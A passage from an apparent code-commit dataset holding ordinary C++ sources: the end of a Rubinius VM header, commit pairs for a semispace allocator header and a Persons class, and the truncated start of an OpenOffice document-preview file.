\"memory\/slab.hpp\"\n\n#include \"shared_state.hpp\"\n\n#include \"unwind_info.hpp\"\n#include \"fiber_stack.hpp\"\n\n#include \"sodium\/randombytes.h\"\n\n#include <atomic>\n#include <vector>\n#include <setjmp.h>\n#include <stdint.h>\n\nnamespace llvm {\n class Module;\n}\n\nnamespace rbxti {\n class Env;\n}\n\nnamespace rubinius {\n\n class Exception;\n class LLVMState;\n\n namespace event {\n class Loop;\n }\n\n namespace memory {\n class GarbageCollector;\n class WriteBarrier;\n }\n\n class Assertion;\n class CallSiteInformation;\n class Channel;\n class CompiledCode;\n class ConfigParser;\n class Configuration;\n class Fiber;\n class GlobalCache;\n class LookupTable;\n class Memory;\n class NativeMethodEnvironment;\n class Object;\n class Park;\n class Primitives;\n class SharedState;\n class String;\n class Symbol;\n class SymbolTable;\n class Tuple;\n class TypeError;\n class TypeInfo;\n class VariableScope;\n\n struct CallFrame;\n\n enum MethodMissingReason {\n eNone, ePrivate, eProtected, eSuper, eVCall, eNormal\n };\n\n enum ConstantMissingReason {\n vFound, vPrivate, vNonExistent\n };\n\n \/**\n * Represents an execution context for running Ruby code.\n *\n * Each Ruby thread is backed by an instance of this class, as well as an\n * instance of the Thread class. Thread manages the (Ruby visible) thread-\n * related state, while this class manages the execution machinery for\n * running Ruby code.\n *\/\n\n class VM : public memory::ManagedThread {\n friend class State;\n\n private:\n UnwindInfoSet unwinds_;\n\n CallFrame* call_frame_;\n ThreadNexus* thread_nexus_;\n CallSiteInformation* saved_call_site_information_;\n FiberStacks fiber_stacks_;\n Park* park_;\n\n void* stack_start_;\n size_t stack_size_;\n size_t stack_cushion_;\n\n void* current_stack_start_;\n size_t current_stack_size_;\n\n bool interrupt_with_signal_;\n bool interrupt_by_kill_;\n bool check_local_interrupts_;\n bool thread_step_;\n\n utilities::thread::SpinLock interrupt_lock_;\n\n MethodMissingReason method_missing_reason_;\n ConstantMissingReason constant_missing_reason_;\n\n bool zombie_;\n bool allocation_tracking_;\n bool main_thread_;\n\n std::atomic<ThreadNexus::Phase> thread_phase_;\n\n uint32_t profile_interval_;\n uint32_t profile_counter_;\n CompiledCode** profile_;\n uint64_t profile_sample_count_;\n uint64_t profile_report_interval_;\n native_int max_profile_entries_;\n native_int min_profile_sample_count_;\n\n public:\n \/* Data members *\/\n SharedState& shared;\n memory::TypedRoot<Channel*> waiting_channel_;\n memory::TypedRoot<Exception*> interrupted_exception_;\n \/\/\/ The Thread object for this VM state\n memory::TypedRoot<Thread*> thread;\n\n \/\/\/ The current fiber running on this thread\n memory::TypedRoot<Fiber*> current_fiber;\n\n \/\/\/ Root fiber, if any (lazily initialized)\n memory::TypedRoot<Fiber*> root_fiber;\n\n \/\/\/ Object that waits for inflation\n memory::TypedRoot<Object*> waiting_object_;\n\n uint64_t start_time_;\n\n NativeMethodEnvironment* native_method_environment;\n\n void (*custom_wakeup_)(void*);\n void* custom_wakeup_data_;\n\n VMThreadState thread_state_;\n\n public: \/* Inline methods *\/\n\n UnwindInfoSet& unwinds() {\n return unwinds_;\n }\n\n uint32_t thread_id() const {\n return id_;\n }\n\n ThreadNexus* thread_nexus() {\n return thread_nexus_;\n }\n\n ThreadNexus::Phase thread_phase() {\n return thread_phase_.load(std::memory_order_acquire);\n }\n\n void set_thread_phase(ThreadNexus::Phase thread_phase) {\n thread_phase_.store(thread_phase, std::memory_order_release);\n }\n\n utilities::thread::SpinLock& interrupt_lock() {\n return interrupt_lock_;\n }\n\n void set_zombie(STATE);\n\n bool zombie_p() {\n return zombie_;\n }\n\n void set_main_thread() {\n main_thread_ = true;\n }\n\n bool main_thread_p() {\n return main_thread_;\n }\n\n VMThreadState* thread_state() {\n return &thread_state_;\n }\n\n Memory* memory() {\n return shared.memory();\n }\n\n void set_start_time();\n double run_time();\n\n void raise_stack_error(STATE);\n void validate_stack_size(STATE, size_t size);\n\n size_t stack_size() {\n return current_stack_size_;\n }\n\n void restore_stack_bounds() {\n current_stack_start_ = stack_start_;\n current_stack_size_ = stack_size_;\n }\n\n void set_stack_bounds(void* start, size_t size) {\n current_stack_start_ = start;\n current_stack_size_ = size - stack_cushion_;\n }\n\n void set_stack_bounds(size_t size);\n\n bool check_stack(STATE, void* stack_address) {\n ssize_t stack_used =\n (reinterpret_cast<intptr_t>(current_stack_start_)\n - reinterpret_cast<intptr_t>(stack_address));\n\n if(stack_used < 0) stack_used = -stack_used;\n\n if(static_cast<size_t>(stack_used) > current_stack_size_) {\n raise_stack_error(state);\n return false;\n }\n\n return true;\n }\n\n bool push_call_frame(STATE, CallFrame* frame, CallFrame*& previous_frame);\n\n bool pop_call_frame(STATE, CallFrame* frame) {\n call_frame_ = frame;\n\n return !thread_interrupted_p(state);\n }\n\n bool thread_interrupted_p(STATE) {\n if(check_local_interrupts()) {\n return check_thread_raise_or_kill(state);\n }\n\n return false;\n }\n\n bool check_thread_raise_or_kill(STATE);\n\n \/\/ Do NOT de-duplicate\n void set_call_frame(CallFrame* frame) {\n call_frame_ = frame;\n }\n\n CallFrame* call_frame() {\n return call_frame_;\n }\n\n CallFrame* get_call_frame(ssize_t up=0);\n CallFrame* get_ruby_frame(ssize_t up=0);\n CallFrame* get_variables_frame(ssize_t up=0);\n CallFrame* get_scope_frame(ssize_t up=0);\n\n bool scope_valid_p(VariableScope* scope);\n\n void set_call_site_information(CallSiteInformation* info) {\n saved_call_site_information_ = info;\n }\n\n CallSiteInformation* saved_call_site_information() {\n return saved_call_site_information_;\n }\n\n GlobalCache* global_cache() const {\n return shared.global_cache;\n }\n\n Globals& globals() {\n return shared.globals;\n }\n\n MethodMissingReason method_missing_reason() const {\n return method_missing_reason_;\n }\n\n void set_method_missing_reason(MethodMissingReason reason) {\n method_missing_reason_ = reason;\n }\n\n ConstantMissingReason constant_missing_reason() const {\n return constant_missing_reason_;\n }\n\n void set_constant_missing_reason(ConstantMissingReason reason) {\n constant_missing_reason_ = reason;\n }\n\n void after_fork_child(STATE);\n\n bool thread_step() const {\n return thread_step_;\n }\n\n void clear_thread_step() {\n clear_check_local_interrupts();\n thread_step_ = false;\n }\n\n void set_thread_step() {\n set_check_local_interrupts();\n thread_step_ = true;\n }\n\n bool check_local_interrupts() const {\n return check_local_interrupts_;\n }\n\n void clear_check_local_interrupts() {\n check_local_interrupts_ = false;\n }\n\n void set_check_local_interrupts() {\n check_local_interrupts_ = true;\n }\n\n bool interrupt_by_kill() const {\n return interrupt_by_kill_;\n }\n\n void clear_interrupt_by_kill() {\n interrupt_by_kill_ = false;\n }\n\n void set_interrupt_by_kill() {\n interrupt_by_kill_ = true;\n }\n\n Exception* interrupted_exception() const {\n return interrupted_exception_.get();\n }\n\n void clear_interrupted_exception() {\n interrupted_exception_.set(cNil);\n }\n\n bool allocation_tracking() const {\n return allocation_tracking_;\n }\n\n void enable_allocation_tracking() {\n allocation_tracking_ = true;\n }\n\n void disable_allocation_tracking() {\n allocation_tracking_ = false;\n }\n\n FiberStack* allocate_fiber_stack(size_t stack_size) {\n return fiber_stacks_.allocate(stack_size);\n }\n\n void* fiber_trampoline() {\n return fiber_stacks_.trampoline();\n }\n\n FiberData* new_fiber_data(size_t stack_size, bool root=false) {\n return fiber_stacks_.new_data(stack_size, root);\n }\n\n void remove_fiber_data(FiberData* data) {\n fiber_stacks_.remove_data(data);\n }\n\n memory::VariableRootBuffers& current_root_buffers();\n\n public:\n static VM* current();\n\n static void discard(STATE, VM*);\n\n public:\n\n \/* Prototypes *\/\n VM(uint32_t id, SharedState& shared, const char* name = NULL);\n ~VM();\n\n void bootstrap_class(STATE);\n void bootstrap_ontology(STATE);\n void bootstrap_symbol(STATE);\n\n void collect_maybe(STATE);\n\n native_int max_profile_entries() {\n return max_profile_entries_;\n }\n\n uint64_t profile_sample_count() {\n return profile_sample_count_;\n }\n\n CompiledCode** profile() {\n return profile_;\n }\n\n void update_profile(STATE);\n void sort_profile();\n\n#define RBX_PROFILE_MAX_SHIFT 0xf\n#define RBX_PROFILE_MAX_INTERVAL 0x1fff\n\n void set_profile_interval() {\n profile_interval_ = randombytes_random();\n profile_interval_ >>= (profile_interval_ & RBX_PROFILE_MAX_SHIFT);\n profile_interval_ &= RBX_PROFILE_MAX_INTERVAL;\n profile_counter_ = 0;\n }\n\n void checkpoint(STATE) {\n metrics().machine.checkpoints++;\n\n if(thread_nexus_->try_lock(this)) {\n metrics().machine.stops++;\n\n collect_maybe(state);\n\n thread_nexus_->unlock();\n }\n\n if(profile_counter_++ >= profile_interval_) {\n update_profile(state);\n set_profile_interval();\n }\n }\n\n void blocking_suspend(STATE, metrics::metric& counter);\n void sleeping_suspend(STATE, metrics::metric& counter);\n\n void blocking_phase() {\n thread_nexus_->blocking_phase(this);\n }\n\n void managed_phase() {\n thread_nexus_->managed_phase(this);\n }\n\n void unmanaged_phase() {\n thread_nexus_->unmanaged_phase(this);\n }\n\n void set_current_thread();\n\n void setup_errno(STATE, int num, const char* name, Class* sce, Module* ern);\n void bootstrap_exceptions(STATE);\n void initialize_fundamental_constants(STATE);\n void initialize_builtin_classes(STATE);\n void initialize_platform_data(STATE);\n Object* ruby_lib_version();\n\n void set_current_fiber(Fiber* fib);\n\n TypeInfo* find_type(int type);\n\n static void init_ffi(STATE);\n\n void raise_from_errno(const char* reason);\n void raise_exception(Exception* exc);\n Exception* new_exception(Class* cls, const char* msg);\n Object* current_block();\n\n void set_const(const char* name, Object* val);\n void set_const(Module* mod, const char* name, Object* val);\n\n Object* path2class(const char* name);\n\n llvm::Module* llvm_module();\n void llvm_cleanup();\n\n void print_backtrace();\n\n void wait_on_channel(Channel* channel);\n void wait_on_inflated_lock(Object* wait);\n void wait_on_custom_function(void (*func)(void*), void* data);\n void clear_waiter();\n bool wakeup(STATE);\n\n void reset_parked();\n\n void set_sleeping();\n void clear_sleeping();\n\n void interrupt_with_signal() {\n interrupt_with_signal_ = true;\n }\n\n void register_raise(STATE, Exception* exc);\n void register_kill(STATE);\n\n void gc_scan(memory::GarbageCollector* gc);\n void gc_fiber_clear_mark();\n void gc_fiber_scan(memory::GarbageCollector* gc, bool only_marked = true);\n void gc_verify(memory::GarbageCollector* gc);\n };\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef HEAPS_H\n#define HEAPS_H\n\n#include\"objects.hpp\"\n\nclass Generic;\nclass SharedVar;\n\n\/*-----------------------------------------------------------------------------\nSemispaces\n-----------------------------------------------------------------------------*\/\n\nclass Semispace {\nprivate:\n\tvoid* mem;\n\tvoid* allocpt;\n\tvoid* svallocpt; \/\/ sharedvar allocation point\n\tsize_t prev_alloc;\n\tsize_t max;\npublic:\n\tSemispace(size_t);\n\t~Semispace();\n\tvoid* alloc(size_t);\n\tvoid dealloc(void*);\n\tSharedVar* sv_alloc(void);\n\tvoid sv_dealloc(SharedVar*);\n\tvoid resize(size_t);\n\tbool can_fit(size_t) const;\n\n\tsize_t size(void) const { return max; };\n\tsize_t used(void) const {\n\t\treturn (size_t)(((char*) allocpt) - ((char*) mem))\n\t\t\t+ (size_t)((((char*) mem) + max) - ((char*) svallocpt));\n\t};\n\n\tstd::pair<boost::shared_ptr<Semispace>, Generic* >\n\t\tclone(Generic*) const;\n\n\tfriend class Heap;\n};\n\n\/*last-in-first-out allocation semispace*\/\nclass LifoSemispace {\nprivate:\n\tvoid* mem;\n\tvoid* allocpt;\n\tvoid* end;\n\tsize_t prevalloc;\npublic:\n\tLifoSemispace(size_t sz);\n\t~LifoSemispace();\n\tvoid* alloc(size_t sz);\n\tvoid dealloc(void*); \/\/ used only in a constructor-fail delete\n\tvoid normal_dealloc(Generic*);\n\tbool can_fit(size_t) const;\n\tsize_t size(void) const {\n\t\treturn (size_t) (((char*) end) - ((char*) mem));\n\t}\n\tsize_t used(void) const {\n\t\treturn (size_t) (((char*) end) - ((char*) allocpt));\n\t}\n\t\/*no need to clone LIFO semispaces: they never get passed around*\/\n\n\tfriend class Heap;\n};\n\n#endif \/\/HEAPS_H\n\n<commit_msg>inc\/heaps.hpp: minor comment<commit_after>#ifndef HEAPS_H\n#define HEAPS_H\n\n#include\"objects.hpp\"\n\nclass Generic;\nclass SharedVar;\n\n\/*-----------------------------------------------------------------------------\nSemispaces\n-----------------------------------------------------------------------------*\/\n\nclass Semispace {\nprivate:\n\tvoid* mem;\n\tvoid* allocpt;\n\tvoid* svallocpt; \/\/ sharedvar allocation point\n\tsize_t prev_alloc;\n\tsize_t max;\npublic:\n\tSemispace(size_t);\n\t~Semispace();\n\tvoid* alloc(size_t);\n\tvoid dealloc(void*);\n\tSharedVar* sv_alloc(void);\n\tvoid sv_dealloc(SharedVar*);\n\tvoid resize(size_t);\n\tbool can_fit(size_t) const;\n\n\tsize_t size(void) const { return max; };\n\tsize_t used(void) const {\n\t\treturn (size_t)(((char*) allocpt) - ((char*) mem))\n\t\t\t+ (size_t)((((char*) mem) + max) - ((char*) svallocpt));\n\t};\n\n\tstd::pair<boost::shared_ptr<Semispace>, Generic* >\n\t\tclone(Generic*) const;\n\n\tfriend class Heap;\n};\n\n\/*last-in-first-out allocation semispace*\/\nclass LifoSemispace {\nprivate:\n\tvoid* mem;\n\tvoid* allocpt;\n\tvoid* end;\n\tsize_t prevalloc;\npublic:\n\tLifoSemispace(size_t sz);\n\t~LifoSemispace();\n\tvoid* alloc(size_t sz);\n\tvoid dealloc(void*); \/\/ used only in a constructor-fail delete\n\tvoid normal_dealloc(Generic*);\n\t\/*no svallocation: no sharedvar's allowed in LifoSemispace*\/\n\n\tbool can_fit(size_t) const;\n\tsize_t size(void) const {\n\t\treturn (size_t) (((char*) end) - ((char*) mem));\n\t}\n\tsize_t used(void) const {\n\t\treturn (size_t) (((char*) end) - ((char*) allocpt));\n\t}\n\t\/*no need to clone LIFO semispaces: they never get passed around*\/\n\n\tfriend class Heap;\n};\n\n#endif \/\/HEAPS_H\n\n<|endoftext|>"} {"text":"<commit_before>#include \"persons.h\"\n#include <iomanip>\n\n\n\/\/Default Constructor.\n\/\/Not actually used.\nPersons::Persons()\n{\n name = \" \";\n gender = ' ';\n birthYear = 1980;\n deathYear = 0;\n alive = true;\n}\n\n\/\/Constructor.\n\/\/if deathyear == 0, the person will be alive.\nPersons::Persons(string n, char g, int bY, int dY)\n{\n name = n;\n birthYear = bY;\n deathYear = dY;\n gender = g;\n if (dY == 0)\n {\n alive = true;\n }\n else\n {\n alive = false;\n }\n}\n\nstring Persons::getName() const\n{\n return name;\n}\n\nint Persons::getBirthYear() const\n{\n return birthYear;\n}\n\nint Persons::getDeathYear() const\n{\n return deathYear;\n}\n\nchar Persons::getGender() const\n{\n return gender;\n}\n\nbool Persons::getAlive() const\n{\n return alive;\n}\n\n\/\/Overloads the = operator. Basic stuff.\nvoid Persons::operator = (const Persons& p)\n{\n name = p.name;\n gender = p.gender;\n birthYear = p.birthYear;\n deathYear = p.deathYear;\n alive = p.alive;\n}\n\n\/\/Overloads the == operator.\n\/\/Two persons are equal if and only if each\n\/\/Parameter is equal.\nbool Persons::operator == (const Persons& p)\n{\n return name == p.name && gender == p.gender && birthYear == p.birthYear && deathYear == p.deathYear;\n}\n\n\/\/Overloads the << (output) operator.\n\/\/writes out the name, gender, and birthyear.\n\/\/Writes out the deathyear or, if the person is alive\n\/\/writes \"Alive\".\nostream& operator << (ostream& out, const Persons& p)\n{\n out.width(26);\n out << left << p.getName() << \"\\t\" << p.getGender() << \"\\t\" << p.getBirthYear() << \"\\t\";\n if (!p.getAlive())\n {\n out << p.getDeathYear() << endl;\n }\n else\n {\n out << \"Alive \" << endl;\n }\n return out;\n}\n\n\/\/Overloads the >> (input) operator.\n\/\/Reads the name which we know ends at a ;\n\/\/Then reads the gender and birthyear.\n\/\/Reads either \"Alive\" or the deathyear.\nistream& operator >> (istream& in, Persons& p)\n{\n string a = \" \";\n in >> ws;\n getline(in, p.name, ';');\n in >> p.gender >> p.birthYear >> a;\n if (a == \"Alive\")\n {\n p.alive = true;\n }\n else\n {\n p.alive = false;\n p.deathYear = atoi(a.c_str());\n }\n return in;\n}\n<commit_msg>sortByDeathYear lagað<commit_after>#include \"persons.h\"\n#include <iomanip>\n\n\n\/\/Default Constructor.\n\/\/Not actually used.\nPersons::Persons()\n{\n name = \" \";\n gender = ' ';\n birthYear = 1980;\n deathYear = 0;\n alive = true;\n}\n\n\/\/Constructor.\n\/\/if deathyear == 0, the person will be alive.\nPersons::Persons(string n, char g, int bY, int dY)\n{\n name = n;\n birthYear = bY;\n deathYear = dY;\n gender = g;\n if (dY == 0)\n {\n alive = true;\n }\n else\n {\n alive = false;\n }\n}\n\nstring Persons::getName() const\n{\n return name;\n}\n\nint Persons::getBirthYear() const\n{\n return birthYear;\n}\n\nint Persons::getDeathYear() const\n{\n return deathYear;\n}\n\nchar Persons::getGender() const\n{\n return gender;\n}\n\nbool Persons::getAlive() const\n{\n return alive;\n}\n\n\/\/Overloads the = operator. Basic stuff.\nvoid Persons::operator = (const Persons& p)\n{\n name = p.name;\n gender = p.gender;\n birthYear = p.birthYear;\n deathYear = p.deathYear;\n alive = p.alive;\n}\n\n\/\/Overloads the == operator.\n\/\/Two persons are equal if and only if each\n\/\/Parameter is equal.\nbool Persons::operator == (const Persons& p)\n{\n return name == p.name && gender == p.gender && birthYear == p.birthYear && deathYear == p.deathYear;\n}\n\n\/\/Overloads the << (output) operator.\n\/\/writes out the name, gender, and birthyear.\n\/\/Writes out the deathyear or, if the person is alive\n\/\/writes \"Alive\".\nostream& operator << (ostream& out, const Persons& p)\n{\n out.width(26);\n out << left << p.getName() << \"\\t\" << p.getGender() << \"\\t\" << p.getBirthYear() << \"\\t\";\n if (!p.getAlive())\n {\n out << p.getDeathYear() << endl;\n }\n else\n {\n out << \"Alive \" << endl;\n }\n return out;\n}\n\n\/\/Overloads the >> (input) operator.\n\/\/Reads the name which we know ends at a ;\n\/\/Then reads the gender and birthyear.\n\/\/Reads either \"Alive\" or the deathyear.\nistream& operator >> (istream& in, Persons& p)\n{\n string a = \" \";\n in >> ws;\n getline(in, p.name, ';');\n in >> p.gender >> p.birthYear >> a;\n if (a == \"Alive\")\n {\n p.alive = true;\n p.deathYear = 0;\n }\n else\n {\n p.alive = false;\n p.deathYear = atoi(a.c_str());\n }\n return in;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: docprev.cxx,v $\n *\n * $Revision: 1.12 $\n *\n * last change: $Author: rt $ $Date: 2004-07-12 14:59:03 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _SFX_OBJSH_HXX \/\/ SfxObjectShell\n#include <sfx2\/objsh.hxx>\n#endif\n\n#ifndef _SV_GDIMTF_HXX \/\/ GDIMetaFile\n#include <vcl\/gdimtf.hxx>\n#endif\n\n#ifndef _SV_VIRDEV_HXX \/\/ class VirtualDevice\n#include <vcl\/virdev.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_PRESENTATION_FADEEFFECT_HPP_\n#include <com\/sun\/star\/presentation\/FadeEffect.hpp>\n#endif\n\n#ifndef _SD_FADEDEF_H \/\/ enum FadeSpeed\n#include <fadedef.h>\n#endif\n\n#ifndef _SV_CTRL_HXX \/\/ class Control\n#include <vcl\/ctrl.hxx>\n#endif\n\n#ifndef _SVDOUTL_HXX\n#include <svx\/svdoutl.hxx>\n#endif\n#ifndef _SVDPAGV_HXX\n#include <svx\/svdpagv.hxx>\n#endif\n#ifndef _SVDORECT_HXX\n#include <svx\/svdorect.hxx>\n#endif\n\n#ifndef SD_FADER_HXX\n#include \"fader.hxx\"\n#endif\n\n#include \"docprev.hxx\"\n#include \"drawdoc.hxx\"\n#include \"DrawDocShell.hxx\"\n#ifndef SD_VIEW_SHELL_HXX\n#include \"ViewShell.hxx\"\n#endif\n#ifndef SD_SHOW_VIEW_HXX\n#include \"showview.hxx\"\n#endif\n#ifndef SD_DRAW_VIEW_HXX\n#include \"drawview.hxx\"\n#endif\n#include \"sdpage.hxx\"\n\nusing namespace ::com::sun::star;\n\nconst int SdDocPreviewWin::FRAME = 4;\n\nvoid SdDocPreviewWin::SetObjectShell( SfxObjectShell* pObj, sal_uInt16 nShowPage )\n{\n mpObj = pObj;\n mnShowPage = nShowPage;\n\n updateViewSettings();\n}\n\nSdDocPreviewWin::SdDocPreviewWin( Window* pParent, const ResId& rResId )\n: Control(pParent, rResId), pMetaFile( 0 ), bInEffect(FALSE), mpObj(NULL), mnShowPage(0)\n{\n SetBorderStyle( WINDOW_BORDER_MONO );\n svtools::ColorConfig aColorConfig;\n SetBackground( Wallpaper( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) ) );\n}\n\nSdDocPreviewWin::SdDocPreviewWin( Window* pParent )\n: Control(pParent, 0 ), pMetaFile( 0 ), bInEffect(FALSE), mpObj(NULL), mnShowPage(0)\n{\n SetBorderStyle( WINDOW_BORDER_MONO );\n svtools::ColorConfig aColorConfig;\n SetBackground( Wallpaper( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) ) );\n Resize();\n Show();\n}\n\nvoid SdDocPreviewWin::Resize()\n{\n Invalidate();\n}\n\nvoid SdDocPreviewWin::SetGDIFile( GDIMetaFile* pFile )\n{\n delete pMetaFile;\n pMetaFile = pFile;\n Invalidate();\n}\n\nvoid SdDocPreviewWin::CalcSizeAndPos( GDIMetaFile* pFile, Size& rSize, Point& rPoint )\n{\n Size aTmpSize = pFile ? pFile->GetPrefSize() : Size(1,1 );\n long nWidth = rSize.Width() - 2*FRAME;\n long nHeight = rSize.Height() - 2*FRAME;\n if( nWidth < 0 ) nWidth = 0;\n if( nHeight < 0 ) nHeight = 0;\n\n double dRatio=((double)aTmpSize.Width())\/aTmpSize.Height();\n double dRatioPreV=((double) nWidth ) \/ nHeight;\n\n if (dRatio>dRatioPreV)\n {\n rSize=Size(nWidth, (USHORT)(nWidth\/dRatio));\n rPoint=Point( 0, (USHORT)((nHeight-rSize.Height())\/2));\n }\n else\n {\n rSize=Size((USHORT)(nHeight*dRatio), nHeight);\n rPoint=Point((USHORT)((nWidth-rSize.Width())\/2),0);\n }\n}\n\nvoid SdDocPreviewWin::ImpPaint( GDIMetaFile* pFile, OutputDevice* pVDev )\n{\n Point aPoint;\n Size aSize = pVDev->GetOutputSize();\n Point bPoint(aSize.Width()-2*FRAME, aSize.Height()-2*FRAME );\n CalcSizeAndPos( pFile, aSize, aPoint );\n bPoint -= aPoint;\n aPoint += Point( FRAME, FRAME );\n\n svtools::ColorConfig aColorConfig;\n\n pVDev->SetLineColor();\n pVDev->SetFillColor( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) );\n pVDev->DrawRect(Rectangle( Point(0,0 ), pVDev->GetOutputSize()));\n if( pFile )\n {\n pVDev->SetFillColor( maDocumentColor );\n pVDev->DrawRect(Rectangle(aPoint, aSize));\n pFile->WindStart();\n pFile->Play( pVDev, aPoint, aSize );\n }\n}\n\nvoid SdDocPreviewWin::Paint( const Rectangle& rRect )\n{\n SvtAccessibilityOptions aAccOptions;\n bool bUseContrast = aAccOptions.GetIsForPagePreviews() && Application::GetSettings().GetStyleSettings().GetHighContrastMode();\n SetDrawMode( bUseContrast\n ? ::sd::ViewShell::OUTPUT_DRAWMODE_CONTRAST\n : ::sd::ViewShell::OUTPUT_DRAWMODE_COLOR );\n\n ImpPaint( pMetaFile, (VirtualDevice*)this );\n}\n\nvoid SdDocPreviewWin::ShowEffect( presentation::FadeEffect eEffect, FadeSpeed eSpeed )\n{\n if(bInEffect || !pMetaFile)\n return;\n\n bInEffect = TRUE;\n\n svtools::ColorConfig aColorConfig;\n\n SetLineColor();\n SetFillColor( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) );\n DrawRect(Rectangle( Point(0,0 ), GetOutputSize()));\n\n Point aPoint;\n Size aSize( GetOutputSize() );\n Point bPoint(aSize.Width()-2*FRAME, aSize.Height()-2*FRAME );\n CalcSizeAndPos( pMetaFile, aSize, aPoint );\n bPoint -= aPoint;\n aPoint += Point( FRAME, FRAME );\n\n \/\/ virtuelle Devices anlegen\n\n VirtualDevice* pVDev = new VirtualDevice(*this);\n pVDev->SetOutputSize( GetOutputSize() );\n pVDev->SetFillColor( maDocumentColor );\n pVDev->DrawRect(Rectangle(aPoint, aSize));\n\n pVDev->SetLineColor();\n pVDev->SetFillColor( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) );\n pVDev->DrawRect(Rectangle( Point(0,0 ), pVDev->GetOutputSize()));\n if( pMetaFile )\n {\n pVDev->SetFillColor( maDocumentColor );\n pVDev->DrawRect(Rectangle(aPoint, aSize));\n pMetaFile->WindStart();\n pMetaFile->Play( pVDev, aPoint, aSize );\n }\n\n \/\/ ein Fader zum Ueberblenden\n ::sd::Fader* pFader = new ::sd::Fader(this);\n pFader->SetEffect( eEffect );\n pFader->SetSpeed( eSpeed );\n pFader->SetSource(Rectangle(aPoint, aSize));\n pFader->SetTarget(Rectangle(aPoint, aSize));\n\n \/\/ virtuelle Devices an Fader uebergeben\n pFader->SetNewVirtualDevice(pVDev);\n\n \/\/ ueberblenden\n pFader->Fade();\n\n delete pFader;\n\n\/\/ DrawOutDev( Point( 0,0 ), GetOutputSize(), Point( 0,0 ), GetOutputSize(), *pVDev );\n\n delete pVDev;\n\n\n\n\/*\n Point aPoint;\n Size aSize = GetOutputSize();\n Point bPoint( aSize.Width() - 2*FRAME, aSize.Height() - 2*FRAME );\n CalcSizeAndPos( pMetaFile, aSize, aPoint );\n bPoint -= aPoint;\n\n aPoint += Point( FRAME, FRAME );\n bPoint += Point( FRAME, FRAME );\n\n svtools::ColorConfig aColorConfig;\n\n \/\/ Hintergrund Schwarz\n SetLineColor();\n SetFillColor( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) );\n DrawRect(Rectangle( Point(0,0 ), GetOutputSize()));\n\n \/\/ korrigierte Seitengroesse, sonst kommt die letzte Pixelreihe(spalte)\n \/\/ nicht mit\n Size aPixelSize = PixelToLogic(Size(1,1));\n aSize.Width() += aPixelSize.Width();\n aSize.Height() += aPixelSize.Height();\n\n*\/\n\n bInEffect = FALSE;\n}\n\nlong SdDocPreviewWin::Notify( NotifyEvent& rNEvt )\n{\n if ( rNEvt.GetType() == EVENT_MOUSEBUTTONDOWN )\n {\n const MouseEvent* pMEvt = rNEvt.GetMouseEvent();\n if ( pMEvt->IsLeft() )\n {\n if( rNEvt.GetWindow() == this )\n {\n if(aClickHdl.IsSet())\n aClickHdl.Call(this);\n }\n }\n }\n\n return Control::Notify( rNEvt );\n}\n\n\nvoid SdDocPreviewWin::updateViewSettings()\n{\n ::sd::DrawDocShell* pDocShell = PTR_CAST(::sd::DrawDocShell,mpObj);\n SdDrawDocument* pDoc = pDocShell?pDocShell->GetDoc():NULL;\n\n SvtAccessibilityOptions aAccOptions;\n bool bUseWhiteColor = !aAccOptions.GetIsForPagePreviews() && GetSettings().GetStyleSettings().GetHighContrastMode();\n if( bUseWhiteColor )\n {\n maDocumentColor = Color( COL_WHITE );\n }\n else\n {\n svtools::ColorConfig aColorConfig;\n maDocumentColor = Color( aColorConfig.GetColorValue( svtools::DOCCOLOR ).nColor );\n }\n\n GDIMetaFile* pMtf = NULL;\n\n if(pDoc)\n {\n SdrOutliner& rOutl = pDoc->GetDrawOutliner();\n Color aOldBackgroundColor = rOutl.GetBackgroundColor();\n rOutl.SetBackgroundColor( maDocumentColor );\n\n pMtf = new GDIMetaFile;\n SdPage * pPage = pDoc->GetSdPage( mnShowPage, PK_STANDARD );\n\n VirtualDevice aVDev;\n\n const Fraction aFrac( pDoc->GetScaleFraction() );\n const MapMode aMap( pDoc->GetScaleUnit(), Point(), aFrac, aFrac );\n\n aVDev.SetMapMode( aMap );\n\n \/\/ #109058# Disable output, as we only want to record a metafile\n aVDev.EnableOutput( FALSE );\n\n pMtf->Record( &aVDev );\n\n ::sd::DrawView* pView = new ::sd::DrawView(pDocShell, this, NULL);\n\n\n const Size aSize( 